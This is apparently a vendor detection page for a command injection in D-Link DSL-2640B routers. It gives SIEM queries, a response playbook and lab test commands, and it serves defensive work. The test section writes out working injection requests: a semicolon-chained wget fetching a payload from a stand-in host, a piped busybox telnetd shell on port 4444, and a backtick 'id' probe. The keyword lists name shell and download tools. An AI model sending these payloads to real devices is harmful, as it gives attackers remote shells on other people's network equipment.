Skip to content
CVE-2026-138287

D-Link DSL-2640B portmapcfg.cmd cgiPortMapQrySwitch Command Injection (CVE-2026-138287)

Initial Access Execution Lateral Movement Last updated:

Detects exploitation attempts against CVE-2026-138287, a critical (CVSS 9.3) OS command injection vulnerability in the cgiPortMapQrySwitch function within portmapcfg.cmd on D-Link DSL-2640B routers running firmware 3.0.6.0.41. An attacker can inject shell metacharacters (CWE-77/CWE-78) into the pmapcfgname parameter of the port-mapping configuration endpoint to execute arbitrary OS commands on the device. The attack can be initiated remotely and a public exploit has been released. Because these embedded routers lack endpoint agents, detection focuses on HTTP request telemetry from network proxies, firewalls, and web/management traffic logs showing shell metacharacters or command sequences in requests to portmapcfg.cmd, followed by anomalous outbound connections from the device.

Vulnerability Intelligence

Theoretical

What is CVE-2026-138287 D-Link DSL-2640B portmapcfg.cmd cgiPortMapQrySwitch Command Injection (CVE-2026-138287)?

D-Link DSL-2640B portmapcfg.cmd cgiPortMapQrySwitch Command Injection (CVE-2026-138287) (CVE-2026-138287) maps to the Initial Access and Execution and Lateral Movement tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for D-Link DSL-2640B portmapcfg.cmd cgiPortMapQrySwitch Command Injection (CVE-2026-138287), covering the data sources and telemetry it touches: Network Proxy Logs, Firewall HTTP Inspection, Web Gateway. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement
Microsoft Sentinel / Defender
kusto
// df00tech DF00-1359ca0421 · https://df00tech.com/detections/CVE-2026-138287 · licence: https://df00tech.com/detections/licence
let cmdChars = dynamic([";", "|", "&", "`", "$(", "%3B", "%7C", "%26", "%60", "wget", "curl", "tftp", "/bin/sh", "busybox", "nc ", "telnetd"]);
CommonSecurityLog
| where DeviceVendor in ("Zscaler", "Palo Alto Networks", "Fortinet", "Check Point") or isnotempty(RequestURL)
| where RequestURL has "portmapcfg.cmd" or RequestURL has "cgiPortMapQrySwitch" or RequestURL has "pmapcfgname"
| extend decodedUrl = url_decode(RequestURL)
| where decodedUrl has_any (cmdChars) or RequestURL has_any (cmdChars)
| project TimeGenerated, SourceIP, DestinationIP, DestinationPort, RequestURL, decodedUrl, RequestMethod, DeviceVendor, DeviceProduct
| sort by TimeGenerated desc

Searches Sentinel CommonSecurityLog (proxy/firewall HTTP logs) for requests to the DSL-2640B port-mapping endpoint that contain shell metacharacters or command-execution keywords in the pmapcfgname parameter.

critical severity medium confidence

Data Sources

Network Proxy Logs Firewall HTTP Inspection Web Gateway

Required Tables

CommonSecurityLog

False Positives

  • Vulnerability scanners (Nessus, Qualys, OpenVAS) probing the router management interface with crafted payloads
  • Legitimate administrator configuring port mappings where names coincidentally contain special characters such as '&'
  • Security researchers or penetration testers performing authorized assessments of network equipment

Query fingerprint DF00-1359ca0421 · licence

Sigma logsource & community rules

The detection logic for D-Link DSL-2640B portmapcfg.cmd cgiPortMapQrySwitch Command Injection (CVE-2026-138287) (CVE-2026-138287) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulate portmapcfg.cmd command injection via pmapcfgname

    Expected signal: Proxy/firewall HTTP log entry to portmapcfg.cmd with decoded query string containing 'pmapcfgname=test;wget ...'.

  2. Test 2 Pipe-based command injection probe

    Expected signal: HTTP request log with raw '%7C' and 'busybox'/'telnetd' tokens in the URL to portmapcfg.cmd.

  3. Test 3 Backtick command substitution probe

    Expected signal: HTTP log entry to portmapcfg.cmd containing a backtick (raw or %60) around 'id' in the pmapcfgname value.


Response Playbook

Triage

  1. Confirm the target device is a D-Link DSL-2640B running firmware 3.0.6.0.41 (or an unpatched variant) by reviewing the destination IP's asset inventory and any banner/UA data in the proxy logs.
  2. Extract and URL-decode the full pmapcfgname parameter from the matched request to determine the exact command the attacker attempted to execute (e.g., wget of a second-stage payload, reverse shell, or reconnaissance command).
  3. Determine whether the request returned an HTTP 200 and whether any corresponding outbound connection was initiated by the device shortly after, which indicates successful command execution.
  4. Check the source IP reputation against threat intelligence feeds to distinguish opportunistic botnet scanning from targeted activity.

Containment

  1. Block the attacker source IP at the perimeter firewall and restrict management-interface (HTTP/HTTPS) access to the DSL-2640B to trusted administrative networks only (ACL / management VLAN).
  2. Isolate the affected router from the internet if compromise is suspected, and disable remote/WAN-side administration on the device.
  3. Rotate device administrative credentials and any secrets reachable from the device after a confirmed compromise.

Evidence Collection

  1. Preserve the full proxy/firewall HTTP request and response records, including source IP, timestamp, decoded URL, and payload, for the incident record.
  2. Capture the device configuration backup and, if accessible, the router's syslog/running state for forensic review of injected port-mapping entries and persistence.

Escalation Criteria

  • ! Escalate to incident response immediately if logs show the device making outbound connections to attacker-controlled infrastructure or downloading a payload after the injection request.
  • ! Escalate if multiple internal devices or management endpoints show the same injection pattern, indicating lateral movement or a coordinated campaign against network infrastructure.

Investigation Guide

Forensic Artifacts

  • > Proxy/firewall HTTP access logs containing requests to portmapcfg.cmd with shell metacharacters in pmapcfgname
  • > Router syslog entries or configuration showing anomalous port-mapping rule names or injected commands
  • > NetFlow/connection logs showing unexpected outbound connections originating from the router IP

Tuning Guidance

Scope the queries to proxy/firewall segments that actually front D-Link DSL-2640B devices to reduce noise. Baseline normal administrative configuration traffic and allowlist known management source IPs. If vulnerability scanners regularly probe this interface, exclude their source IPs or correlate only on requests that produce a subsequent outbound connection from the device, which strongly elevates confidence of successful exploitation.


Hunting Queries

Hunts for any requests to the DSL-2640B port-mapping endpoint carrying command-injection characters, grouped by source, to surface scanning or exploitation bursts.

Hunting — KQL
kql
// df00tech DF00-1359ca0421 · https://df00tech.com/detections/CVE-2026-138287 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "portmapcfg.cmd" | extend d = url_decode(RequestURL) | where d has_any (";","|","`","$(","wget","curl") | summarize count() by SourceIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-1359ca0421 · https://df00tech.com/detections/CVE-2026-138287 · licence: https://df00tech.com/detections/licence ```
index=proxy uri_path="*portmapcfg.cmd*" | eval d=urldecode(uri_query) | where match(d,"(?i)(;|\||`|wget|curl)") | stats count by src_ip, uri_query

Atomic Red Team Tests

Test 1 Simulate portmapcfg.cmd command injection via pmapcfgname
linux

Sends a crafted HTTP request to the DSL-2640B port-mapping endpoint with a semicolon-delimited OS command in the pmapcfgname parameter to validate detection of command-injection payloads. Run only against an authorized lab device or mock endpoint.

Command

bash
curl -s -G 'http://192.0.2.10/portmapcfg.cmd' --data-urlencode 'cgiPortMapQrySwitch=1' --data-urlencode 'pmapcfgname=test;wget http://198.51.100.5/x -O /tmp/x'

Cleanup

bash
rm -f /tmp/x 2>/dev/null; true

Expected Telemetry

Proxy/firewall HTTP log entry to portmapcfg.cmd with decoded query string containing 'pmapcfgname=test;wget ...'.

Expected Detection

The kql/spl/EQL rules fire on the semicolon and 'wget' keyword within the pmapcfgname parameter.

Test 2 Pipe-based command injection probe
linux

Issues a request using a URL-encoded pipe character and busybox invocation in pmapcfgname to validate detection of alternate metacharacter encodings. Authorized lab use only.

Command

bash
curl -s 'http://192.0.2.10/portmapcfg.cmd?cgiPortMapQrySwitch=1&pmapcfgname=a%7Cbusybox+telnetd+-l/bin/sh+-p4444'

Cleanup

bash
true

Expected Telemetry

HTTP request log with raw '%7C' and 'busybox'/'telnetd' tokens in the URL to portmapcfg.cmd.

Expected Detection

Rules match on the %7C encoding and busybox/telnetd keywords.

Test 3 Backtick command substitution probe
linux

Sends a request containing backtick command substitution in pmapcfgname to confirm the detection catches shell substitution syntax. Run against a lab/mock endpoint only.

Command

bash
curl -s -G 'http://192.0.2.10/portmapcfg.cmd' --data-urlencode 'cgiPortMapQrySwitch=1' --data-urlencode 'pmapcfgname=`id`'

Cleanup

bash
true

Expected Telemetry

HTTP log entry to portmapcfg.cmd containing a backtick (raw or %60) around 'id' in the pmapcfgname value.

Expected Detection

Rules fire on the backtick / %60 metacharacter indicator.

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections